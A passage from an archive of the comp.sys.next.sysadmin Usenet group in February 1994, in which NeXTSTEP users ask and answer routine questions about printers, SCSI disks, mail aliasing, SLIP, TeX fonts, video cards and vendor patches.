the printer. Stiff paper and envelopes have trouble doing this. I
have found that it helps to crease the front edge of the envelope so
that it is very sharp and put a slight downward bend in the envelope
before feeding. The bend seems to be removed by the printer as the
envelope passes through. Also, make sure that your envelopes aren't
too rigid.
dgc
David G. Cantor
Center for Communications Research
4320 Westerra Court
San Diego, CA 92121
dgc@ccrwest.org
From: mike@whammo.media.mit.edu (Michael Hawley)
Newsgroups: comp.sys.next.sysadmin
Subject: UltraStor drivers
Date: 6 Feb 1994 02:11:06 GMT
Organization: MIT Laboratory for Computer Science
Message-ID: <2j1jjq$h2j@GRAPEVINE.LCS.MIT.EDU>
Does anyone have any leads on how to get UltraStor
SCSI controllers to work under NeXTSTEP?
We've got some DEC PC's but are missing the drivers
that might help.
From: slxn8@cc.usu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Aliasing mail paths...how?
Message-ID: <1994Feb4.085256.9697@cc.usu.edu>
Date: 4 Feb 94 08:52:56 MDT
Organization: Utah State University
I have a Next(3.2) that uses UUCP to send mail to a remote machine. Sending
mail to this remote machine only works for the Next that UUCP is set up on.
How do I make this remote machine known to the rest of the network so everyone
can send mail to it? On the same thread, the machine that I am sending mail to
(A step to internet), knows about another machine, which knows how to send to
the internet, how can I alias the internet machine so that I can just address
my mail to the internet address and have mail stick in all the rest?
Any help appreciated.
S.C.
slxn8@cc.usu.edu
From: scwg0600@ih-nxt01.cso.uiuc.edu (Steven C Weintz)
Newsgroups: comp.sys.next.sysadmin
Subject: I hosed my hostname, and I feel bad
Date: 6 Feb 1994 03:44:26 GMT
Organization: University of Illinois at Urbana
Distribution: world
Message-ID: <2j1p2q$adi@vixen.cso.uiuc.edu>
Keywords: gaseous body
Uhhh...I did something really dumb a little while ago. I decided to free
up some space on my hard drive (a NeXTdimension's swapfiles are HUGE...)
and compressed the NeXT Developer folder. Not satified and running on too
little sleep, I tossed it in the recycler and flushed. Then I remembered
the Installer packages, and tried to salvage the mess by compressing them,
to no avail. Finally i went through the .pkg lists and manually removed
all the files i could identify that weren't in the NeXT Developer folders
themselves. (I could tell you what they were if i was at home now.) In the
process i apparently hosed my hostname somehow, because now the
PixelMagician license server tells me my host has no name. I edited the
etc/ttys file to stick a hostname in the login window, and used
HostManager to set up a hostname for autoconfigure, and I get a "setting
hostname to [my computer's name]" in the ROM Monitor during boot-up, but
obviously my ignorance has wreaked havoc. I should place a "No Meatheads"
TIFF in my root account's file viewer...
Does any of this make sense? Any suggestions will be warmly appreciated.
I'm going to try and re-install the Developer CD and see if that fixes
things.
thanks,
Steve Weintz
EthnoGraphics
(for now) scwg0600@sumter.cso.uiuc.edu
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: chown fails for external disk/funny login behavior
Date: 6 Feb 1994 05:09:24 GMT
Organization: Computer Science Department, Stanford University.
Message-ID: <2j1u24$ofh@Times.Stanford.EDU>
Hi!
I have just formatted & installed an external drive for my NScolor.
I have mounted the disk at /Fujitsu, and things seem to work. I placed
the "Users" directory at /Fujitsu/Users and made /Users a link to this.
I have since experienced funny login behavior, like Workspace can't find
my home directory the first time I login. Logging out and back in again
seems to fix this.
I noticed that /Fujitsu is owned by "mcafee" (my login) and not "root".
It should be owned by root, yes? I tried chown as "root", but this did
not seem to persist to the next login; "mcafee" owns the disk every
time now. :-) Perhaps I should have been "root" somewhere during my
disk install process...
Any help would be greatly appreciated!
Chris
mcafee@cs.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: boconnor@andi.org (Bob O'Connor)
Subject: Re: ethernet connection of printer to NeXT network?
Message-ID: <CKsGto.5Ko@nextsrv1.andi.org>
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
References: <1994Feb4.041437.2864@zion.com>
Date: Sun, 6 Feb 1994 06:03:23 GMT
In article <1994Feb4.041437.2864@zion.com> david@zion.com(David J.
Ferrero) writes:
> I have been asked to connect a new 1200 DPI Laser Printer to a network
of
> 2 NeXT computers. The printer has an RS232 (DB-9) serial port, as well
as
> ethernet port.
>
> Can this printer be connected in some fashion to this network via
> ethernet?
>
> If so, tips, techniques requested. -> david@zion.com
>
> If not, is the 68040 null modem cable the one to make for the serial
> connection?
>
> Thanks
> David Ferrero
> david@zion.com
If the printer supports TCP/IP, look up the Summer 1993 issue of NEXTSTEP
IN FOCUS, p. 42. If you can't get it, let me know and I'll dig it out.
--
Bob O'Connor
Just BOB Macintosh and NeXT Consulting
7935 Shreve Road
Falls Church, VA. 22043-3425 USA
(703) 207-9438
justbob@andi.org
From: lipton@saul.cis.upenn.edu (Jim Lipton)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Re: TeX
Date: 6 Feb 1994 07:50:08 GMT
Organization: Wesleyan University
Sender: lipton@allegory.cs.wesleyan.edu
Message-ID: <2j27fg$r32@netnews.upenn.edu>
References: <1994Feb1.202800.3661@newshost.lanl.gov>
I have NS/Intel 3.2 with a recent version of Next-Tex, and after hours of
loading fonts from the ams and theory.doc.ic.uk have amslatex running.
However I am having trouble with eufb_ and eufm_ fonts. I have loaded the
corresponding .mf files in the place where metafont expects them, but get
metafont errors: the system complains that it needs tfm fonts for them. Isn't
MakeTeXPK and metafont supposed to generate them automatically? (I have the
switches on for font generation during tex->dvi). How do I get tfm files that
work for the next? I also get a lot of messages of the form
" .... at magstem ... not found, scaling at ... instead...
will generate poor output..."
I actually do NOT get poor output, except in the case of eufm and eufb for
fractur and gothic fonts, where I get black squares in the previewer and blanks
on thye printed page.
Anyone know what to do..?
thanks,
--Jim Lipton
=====================================================================
Dept. of Mathematics, Wesleyan University, Middletown CT 06459-0128
(203) 347-9411 e-mail: jlipton@eagle.wesleyan.edu
=====================================================================
From: petra!sas@decster.uta.edu (Shawn Alva Stone)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: chown fails...
Date: 6 Feb 1994 07:40:58 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9402061338.AA03071@petra>
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From: qiu@tree.egr.uh.edu (Feng )
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: How do you choose video card for next/486 system
Date: 6 Feb 1994 19:50:25 GMT
Organization: University of Houston
Message-ID: <2j3hm1$92s@menudo.uh.edu>
Hi,
I have a 486/dx2-66 running nextstep3.2 with standard VGA. I'm
getting tired of the big fonts from standard VGA driver. So I am
thinking buying a video card. I have tried ATI Ultra Pro I think
it is slow with 16-bit color also the price is not cheap. As for
diamond viper VLB it claims much faster than ATI but no current
support. I have to wait and see. Then the last choice, for the time being,
might be 2-bit gray video card like Tseng Lab's VT4000 and STB's
Horizon VLB. Did anyone over there who used 2-bit card ? Is it fast
( I can't tolerate slow displaying. I'd rather have much faster gray
than a slow 16-bit color display)? Please tell me your opinions.
Feng
qiu@tree.egr.uh.edu
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs,comp.sys.next.sysadmin
From: thf@zelator.de (Thomas Funke)
Subject: Sybase Administrator buggy under 3.x, Solution included.
Message-ID: <1994Feb6.120754.878@gamelan.uucp>
Sender: thomas@gamelan.uucp (thomas)
Organization: Disorganization
Date: Sun, 6 Feb 1994 12:07:54 GMT
If you have the Sybase limited server, as distributed with 2.0, you'll
notice a severe bug under NS3.x:
When using the Administrator-App to start the server, the App will start
2 Terminal windows (with the same commands), starting the server twice.
Of course this eventually will lead to a crash.
Nevertheless, some hacking shows: There is a workaround available !
Get the 'binpatch' program and apply the following patch to the
binary '/usr/sybase/Administrator'
cmp -l Administrator.orig Administrator
2651 141 116
2652 377 161
2653 5 116
2654 0 161
2655 16 116
2656 42 161
As usual: No guarantee, use it with your own risk.
--
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Thomas Funke ** Unix-Consultant ** thf@zelator.de
Brooks's Law:
Adding manpower to a late software project makes it later
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From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
Subject: More on Envelope printing (SUMMARY INFO)
Date: 6 Feb 1994 22:41:34 +0100
Organization: University of Bergen
Message-ID: <2j3o6e$lt3@alf.uib.no>
Just to let everyone know, most seem to have misunderstood what
I originally posted. The envelopes _are_ fed _into_ the printer
without problem, drawn by the rollers under the toner, and get
toner applied correctly (i.e. what I printed out :-). The
problem is/was that the next set of rollers don't grab the
envelope - whcih has now passed the thin wire array and is lying
in the bottom just before the rollers which fuse the toner.
There are (at least) two set rollers - input/feed rollers and
output/fusing rollers. It seems (my hypothesis) that my envelopes
are too "thin" (they measure 22cm by 11cm - 11cm is not "wide"
enough) and when released by the input rollers hasn't gotten
far enough for the output rollers to catch it. By placing a sheet
of paper under the envelope, held fast by the envelopes "cover",
the input rollers can keep pushing the envelope far enough for the
output rollers to grab it and pull the entire mess through.
A crude ASCII view from the side - the envelope is at front (left)
with print surface up, and the cover is laid flat with a piece
of paper in the crease. I fed the whole thing into the printer
and it worked. ( I know the crease isn't square - sorry)
-----------
| -------------------------------------------
-----
Well, my hypothesis, I don't know if it's true. Just to clear
up the problem :-)
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: bigMalc ( NeXT Mail OK)
Newsgroups: comp.sys.next.sysadmin
Subject: Problems Launching from Workspace/Dock
Date: 6 Feb 1994 14:30:21 GMT
Organization: Swiss Bank Corporation, High Timber St, London, UK
Message-ID: <2j2utt$bim@gpo.gb.swissbank.com>
Apologies if this is the wrong place to mail this query but there you go -
we all have to start somewhere.
We have a weird problem with an in house trading application called FOS
which manifests itself only with a particular user on a particular
(networked) machine. If you launch the application either from the dock or
from the workspace the application will eventually hang when you either
move a window or attempt to close a window. The weird thing is when you
start the application from the command line then everything is fine!
The problem, I guess, centres around the user defaults which, from time to
time (but NOT every time), are corrupted if the application is launced
from the dock or from the workspace.
Even weirder - you can log on to his machine as a different user and all
is OK (application sits in LocalApps so they are accessing the same
executable, using same Op System but different defaults) and you can log
on as the troubled user on a different machine and everything is OK
(diffrent application executable same defaults)!
But - if you launch the application from the command line by FOS.app/FOS
-MachLaunch (Blah) then the application hangs so I guess that the problem
is the -MachLaunch bit.
We have tried all 'obvious' things (change defaults, reinitialise
defaults. etc) and nowt seems to work.
Any help would be greatly appreciated.
Thanks,
bigMalc (no sig)
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: chown fails...
Date: 7 Feb 1994 00:08:07 GMT
Organization: Computer Science Department, Stanford University.
Message-ID: <2j40p7$rf6@Times.Stanford.EDU>
> [my problem with chown failing for my external disk]
I was unaware I needed to create a fstab entry for the disk:
/dev/sd1a /Fujitsu 4.3 rw,noquota 0 2
this has fixed my problem.
thanks,
Chris
mcafee@cs.stanford.edu
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2j1u24$ofh@Times.Stanford.EDU>
Control: cancel <2j1u24$ofh@Times.Stanford.EDU>
Date: 7 Feb 1994 03:00:18 GMT
Organization: Stanford University: Computer Science Department
Message-ID: <2j4as3$rsp@Times.Stanford.EDU>
<2j1u24$ofh@Times.Stanford.EDU> was cancelled from within trn.
From: mcafee@Xenon.Stanford.EDU (Christopher C McAfee)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2j40p7$rf6@Times.Stanford.EDU>
Control: cancel <2j40p7$rf6@Times.Stanford.EDU>
Date: 7 Feb 1994 03:01:04 GMT
Organization: Stanford University: Computer Science Department
Message-ID: <2j4atg$rsq@Times.Stanford.EDU>
<2j40p7$rf6@Times.Stanford.EDU> was cancelled from within trn.
Newsgroups: comp.sys.next.sysadmin
From: jmack@skye.phys.ualberta.ca
Subject: Re: Help w/SLIP logon
Message-ID: <1994Feb7.022555.17520@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1994Feb2.085438.3562@ivax>
Date: Mon, 7 Feb 1994 02:25:55 GMT
In article <1994Feb2.085438.3562@ivax> jamastro@indyvax.iupui.edu writes:
> Recently I got Louis A. Mamakos' SLIP up and running on black hardware
> to access an Internet Provider. However, I'm having trouble establishing
> a connection in that the provider's end seems to hang up before (or
> sometimes right after) sending the password.
> TRACE 2> expect timeout {error "waiting for password"} "*assword*"
> RECV: \r\nNO CARRIER\r\n
> expect: does {\r\nNO CARRIER\r\n} match timeout, eof, or full_buffer? no
The logfile says quite plainly that you've lost carrier (NO CARRIER)
- check out your modem configuration / hw flow control, etc. to ensure
that carrier detect/drop operate properly.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
From: kaoki@ps1.yukawa.kyoto-u.ac.jp (Kenichiro Aoki)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't rdump: Solved
Date: 7 Feb 94 12:46:09
Organization: Yukawa Institute for Theoretical Physics, Kyoto, Japan.
Message-ID: <KAOKI.94Feb7124609@ps1.ps1.yukawa.kyoto-u.ac.jp>
References: <2i939b$1qm@marsu.tynet.sub.org>
<1994Jan30.145906.461@gamelan.uucp> <2ipbkd$ue@marsu.tynet.sub.org>
In-reply-to: mow@marsu.tynet.sub.org's message of 3 Feb 1994 00:05:49 +0100
In article <2ipbkd$ue@marsu.tynet.sub.org> mow@marsu.tynet.sub.org (Markus Wenzel) writes:
thf@zelator.de (Thomas Funke) writes:
>In article <2i939b$1qm@marsu.tynet.sub.org> mow@marsu.tynet.sub.org
>(Markus Wenzel) writes:
>> gnutar is not _that_ bad.
>I just rebuilt my harddisk (660 MB) reformatting with 1024 byte blocks. I
>saved everything with gnutar.
>The result: It just works (tm).
I did not say that it does not work!
But if dump/restore worked as they should, they were much faster.
And, I prefer archive tapes belonging to physical disks and not to
logial paths.
I gave the original advice, recommending GNU tar.
I don't want to start a religious war or anything, so
let me clarify: for *Sunday administrators*, (which was the
case in point), I will recommend GNU tar over dump EVERY
time. The flexibility, the consistency across platforms
and the ease of use of GNU tar IMO outweighs
the advantages of dump (like speed). By definition, of
course, Sunday administrators don't administer HUGE
systems :-) I can't see many situations where you have
to be in a real hurry to do the backup (unless you are
impatient.)
If you are a real pro, I still think that GNU tar is a plus
in many situations, BUT, you shoudn't be listending to
what I say :-) :-)
--
Kenichiro Aoki (ken@phys.titech.ac.jp), Department of Physics,
Tokyo Institute of Technology, Oh-okayama, Meguro-ku, Tokyo, JAPAN
Not posting from the usual node, due to problems.
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 6 Feb 1994 23:40:06 -0500
Organization: Next Announcements
Message-ID: <2j4gn6$909@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
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This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
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Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
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to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
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A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
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Discussions about NeXT-label hardware and compatible
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.marketplace is for.
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NeXT stuff for sale/wanted. Material posted here must
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Like comp.sys.next.software and comp.sys.next.misc combined. Exists
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Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
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Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
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-------------------------------------------
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(For a full description, send mail saying LISTS to
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To subscribe, send a message to <digestif@antigone.com> saying:
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The ftp sites
-------------
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nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
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To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
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You can also include commands in the Subject line or the body of the message.
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To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
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Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: serge@dadofsam.Princeton.EDU
Subject: Using serial port A as an alternate console
Message-ID: <1994Feb4.192257.20449@Princeton.EDU>
Originator: news@nimaster
Keywords: serial port boot console
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Distribution: unlimited
Date: Fri, 4 Feb 1994 19:22:57 GMT
We'd like to run a Nextstation headless. We understand how to set the Rom
monitor "use serial port A as alternate console" switch, but we can't figure
out how to power/off power/on a Nextstation without having the console
connected. Every time we disconnect the console, the machine switches off, and
this version of the machine doesn't suppprt the "power-on at specified time"
facility. Has anyone done this?
Serge J. Goldstein
From: rpopp@ebigek01.ciw.uni-karlsruhe.de (Ruediger Popp)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Q: Password-aging for NeXTSTEP?
Date: 7 Feb 1994 15:22:12 GMT
Organization: University of Karlsruhe, Germany
Message-ID: <2j5mb4$b8b@nz12.rz.uni-karlsruhe.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Did anybody write a password-aging software, i.e. a program which is
started as a login-hook, checks when a user changed his password and
forces him to enter a new one when the old one has expired?
I think it would be very helpful for system security.
---
Ruediger Popp
E-MAIL: rpopp@ebigek01.ciw.uni-karlsruhe.de (NeXT-Mail preferred)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Sendmail patch ftp.next.com
Date: 7 Feb 1994 15:12:08 -0000
Organization: me organized? That's a joke!
Message-ID: <2j5lo8$178@steffi.demon.co.uk>
This probably fixes the recent security problem.
Anybody installed this?
* Patches 94-02-02
* SendmailPatch.23950.1 94-02-02
1514 SendmailPatch.pkg 289k 94-02-02
1513 SendmailPatch.ReadMe 3k 94-02-02
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: arneha@ifi.uio.no (Arne Christian Herseth)
Newsgroups: comp.sys.next.sysadmin
Subject: vt100-terminal and modem connection ?
Date: 7 Feb 1994 16:29:50 +0100
Organization: Dept. of Informatics, University of Oslo, Norway
Message-ID: <2j5mpe$j6f@gyda.ifi.uio.no>
I have a few questions regarding general use of keyboard and vt100-terminal and
modem connection on my PC running NextStep 3.2:
General problems with keyboard:
How do I get the Delete, Insert, Home, PgUp, etc. keys to work ?
What is the substitute for using the Delete-key ?
Problems with vt100-terminal emulator (Terminal):
None of the accent keys work (I would like to type a simple single "^").
None of the norwegian character keys work (missing 8-bit ISO-latin 1
(ISO-8859-1) font ? Where can I find it, and where is it to be defined ?).
Problems with modemconnection using tip:
When I use tip to connect to "ifi" (a Sun-server), the return-key doesnt seem
to send the right code, so after login I have to use the ^J, but this doesn't
work either because all commands are refused.
When I exit from "ifi" I get a lot of garbage on the screen and Terminal hangs.
I have added the following line in /etc/remote:
ifi:dv=/dev/cub:br#9600:pn=........:at=hayes:du:
(........ is the telephonenumber for the modem at ifi ).
Something missing ?
Does anyone know of some good modem-programs for NextStep ?
Grateful for all hints and tips !
Arne Herseth (arneha@ifi.uio.no)
From: joe@retina.anatomy.upenn.edu (Joe Panico)
Newsgroups: comp.sys.next.sysadmin
Subject: NSI 3.2 on Pentium?
Date: 7 Feb 1994 15:55:30 GMT
Organization: Dept. of Neuroscience, U. of Pennsylvania
Distribution: world
Message-ID: <2j5o9i$4el@netnews.upenn.edu>
Hi,
I want to run NeXTStep on a pentium pc, but very few pentium machines
have been certified (according to the Hardware Compatability Guide).
Can anyone out there report success stories/ horror stories? Also,
what are the performnce gains for NSI on penttium over the 486?
Has NSI been optimized at all for the pentium? Any info much
appreciated. Thanks.
Joe Panico
joe@retina.anatomy.upenn.edu
From: joe@retina.anatomy.upenn.edu (Joe Panico)
Newsgroups: comp.sys.next.sysadmin
Subject: Gecko?
Date: 7 Feb 1994 16:21:08 GMT
Organization: Dept. of Neuroscience, U. of Pennsylvania
Distribution: world
Message-ID: <2j5ppk$67b@netnews.upenn.edu>
Hi,
I'm shopping around for a new NextStep machine, and have heard references
to a Gecko, but have no idea what it is. Can anyone provide architecture,
performance, and likely pricing and availability for the Gecko? Is
anyone beta testing these guys with NS 3.2. Any clues apprecaited.
Thanks.
Joe Panico
joe@retina.anatomy.upenn.edu
From: Joe_Keenan@next.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Does NSFIP put a swap file on the DOS partition?
Date: 7 Feb 1994 16:05:53 GMT
Organization: NeXT, Inc.
Message-ID: <2j5ot1$fi0@rosie.next.com>
References: <Feb.4.20.35.17.1994.14707@andromeda.rutgers.edu>
In article <Feb.4.20.35.17.1994.14707@andromeda.rutgers.edu>
perkins@andromeda.rutgers.edu (Steve Perkins) writes:
> I am running NSFIP with 2 physical hard disks and four partitions, 1 NS and
> three DOS. Each of the DOS partitions has ~29 MB of free space. NSFIP reads
> the free space on the C drive fine but says that the D drive has only 0.98 MB
> of free space. Is NSFIP using ~28MB of the space on the D drive for swap
> space? Any other idea why this is happening?
You're probably running into the "large DOS filesystem" bug. If your DOS
partitions are over 64Meg, then NS/FIP is incorrectly calculating the free
space available on them.
See NA # 1481 for more info on this problem.
Joe Keenan
NeXT Technical Support
From: jim@pasteur.hsf.uab.edu (Jim Hill)
Newsgroups: comp.sys.next.sysadmin
Subject: aliases not recognized by mail server
Date: 7 Feb 1994 10:51:57 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9402071646.AA10277@pasteur.hsf.uab.edu>
We're running 3.0 machines with a 2.1 mail server.
I added several aliases and then ran the MailManager on the mail server with the display
NXHost'ed to my machine. I pressed the 'Update Pictures and Aliases' button. I can now see
the aliases in the addresses window of Mail.app but the mail server does not recognize the
address. When I send a message to an alias (e.g. 'Jim_Hill') I get the following message:
While connected to mailhost:
>>> RCPT To:<Jim_Hill>
<<< 550 <Jim_Hill>... User unknown
554 Jim_Hill... 550 User unknown
Any Ideas?
From: ernst@cs.tu-berlin.de (Ernst Kloecker)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.hardware
Subject: NeXT Cube SCSI termination power ?
Date: 7 Feb 1994 17:00:44 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2j5s3s$1m6@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Some things I always wanted to know about Cubes and SCSI :
Does the NeXT Cube 68040 motherboard provide SCSI termination power ? Or should
one other SCSI device provide that (like in some Macs) ?
How is SCSI termination supposed to be set up anyway ?
Simple configuration : Cube with internal HD, no external SCSI device. So
both internal HD and SCSI controller on the motherboard should be terminated,
as they are at the ends of the SCSI bus.
Now I plug in an external device. It has to be terminated, because it is at
the end of the chain. But how do I remove the termination from the Cube's
motherboard ? Or does this happen automagically, when I plug in the external
device ?
Thanks for any info, Ernst.
--
-----------------------------------------------------------------------------
Ernst Kloecker phone: ++49-30-6181635 e-mail: ernst@cs.tu-berlin.de
-----------------------------------------------------------------------------
From: rcc@next1.math.pitt.edu (robert cyphers)
Newsgroups: comp.sys.next.sysadmin
Subject: sendmail + MX
Keywords: sendmail, MX
Message-ID: <14087@blue.cis.pitt.edu>
Date: 7 Feb 94 16:44:12 GMT
Sender: news+@pitt.edu
Does anyone know what it takes to get NeXT sendmail (NeXTstation, NS3.0)
to properly deal with MX records?
All mail coming from our Sun mail server has a return address of
'user@math.pitt.edu', and this is a valid address for any sendmail which
properly uses MX records. But mail from NeXTs in the Department gag on
this return address with the complaint shown below.
Any help would be greatly appreciated,
Robert Cyphers
cyphers+@pitt.edu
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gilgamesh% mail oneguy@math.pitt.edu
oneguy@math.pitt.edu... Connecting to mailhost (etherl)...
220 ocnus.math.pitt.edu Sendmail NX5.67c/NX3.0M ready at Mon, 7 Feb 94
11:13:01 -0500
>>> HELO gilgamesh.math.pitt.edu
250 ocnus.math.pitt.edu Hello gilgamesh.math.pitt.edu (gilgamesh), pleased
to meet you
>>> MAIL From:<admin>
250 <admin>... Sender ok
>>> RCPT To:<oneguy>
554 <oneguy>... 550 User unknown
oneguy@math.pitt.edu... 554 Service unavailable
From: ah@fml.tuwien.ac.at (Andreas Haleger)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Quantum 1225S won't write
Date: 7 Feb 1994 17:23:06 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2j5tdq$qpu@email.tuwien.ac.at>
References: <2iqv1u$96d@bilbo.suite.com>
In article <2iqv1u$96d@bilbo.suite.com> shepherd@suite.com (Scot Shepherd)
writes:
> In article <1994Jan28.012713.6199@advtech.uswest.com>
> scorley@advtech.uswest.com writes:
> > I thought I posted this question here last week, but it doesn't show
up
> on
> > News Grazer, so here it is again:
> >
> > I bought a Quantum ProDrive 1225S for a TurboColor NeXTstation. I can
> run
> > disk -F /dev/rsd1a on the drive to format it and it appears to format
it
> > OK. However, when I attempt to initialize the drive it fails
> immediately.
> >
> > It seems to write the disk label OK, but will fail as soon as any
> attempt
> > is made to write to the drive. I've tried formatter and sdformat with
no
> > luck (same problem - fails when an attempt is made to write). I've
tried
>
> I had this problem recently with a different drive though... In my case
it
> had to do with the jumpers on the new disk, specifically the Active
> termination jumper I believe. I don't remember what combination of
things
> finally got it going but be sure to try it both ways, with and without
an
> external terminator as well. Hope this helps.
>
I had the same problem today with an IBM 0662S12 1 Gigabyte hard disk.
Format worked, but each write attempt failed. I am pretty sure I tried all
combinations of active termination and external terminator. Can anyone
provide further help?
--
== Andreas ==
Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail
accepted.
Newsgroups: comp.sys.next.sysadmin
From: dbeausan@jet.Mines.Colorado.EDU (David G. Beausang)
Subject: SUMMARY: NewsGrazer missing groups
Sender: news@slate.mines.colorado.edu
Message-ID: <1994Feb7.174020.18443@slate.mines.colorado.edu>
Date: Mon, 7 Feb 1994 17:40:20 GMT
Organization: Colorado School of Mines
Keywords: NewsGrazer, news
1) The input from the net on this problem with NewsGrazer in browser mode
confirmed that the problem was well known to a number of people.
2) NewsGrazer -- source is not available. The author is now at Millenium
and is rumored to be working on a NewsGrazer Pro application. It seems
that NeXT been trying to get a release date from them because they've got
lots of users that want a FAT version.
3) Conclusion, no fixes until NewsGrazer Pro appears. Workaround, don't
use browser mode in NewsGrazer.
Thanks to all.
Dave Beausang
dgb@Mines.Colorado.EDU
------------------------original posting---------------------------
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Path: slate!news
From: dbeausan@jet.Mines.Colorado.EDU (David G. Beausang)
Subject: NewsGrazer missing groups
Sender: news@slate.mines.colorado.edu
Message-ID: <1994Jan19.214434.5961@slate.mines.colorado.edu>
Date: Wed, 19 Jan 1994 21:44:34 GMT
Reply-To: dgb@Mines.Colorado.EDU
Organization: Colorado School of Mines
Keywords: NewsGrazer, news
I am having a problem with NewsGrazer. There are certain news groups
which NewsGrazer does not display. For example, sci.astro is not present,
however, sci.astro.fits, sci.astro.hubble, and sci.astro.planetarium are
present. Using another newsreader, for example tin, sci.astro is present.
(Another missing group is misc.jobs.offered; this group also has
subgroups.) It appears that the problem is related to a group that also
has a subgroup sharing a common name segment. The problem does not affect
all groups that have the stated relationship.
Is this a configuration problem which is my fault and I can correct?
Is this a known problem with/without a work around?
Is there a more appropriate person/place to query?
I will summarize if appropriate.
Thanks,
David Beausang
dgb@Mines.Colorado.EDU
From: rainer@fml.tuwien.ac.at (Rainer Staringer)
Newsgroups: comp.sys.next.sysadmin
Subject: Is there a Zyxel fax modem driver for NS/Intel?
Date: 7 Feb 1994 18:40:51 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2j61vj$1qn@email.tuwien.ac.at>
Is there a Zyxel fax modem driver available for NS/Intel?
The free Zyxel driver on the ftp sites is a Motorola binary
and comes without source code.
Or does anybody know if NXFax or some other commercial fax
software is already available for Intel hardware?
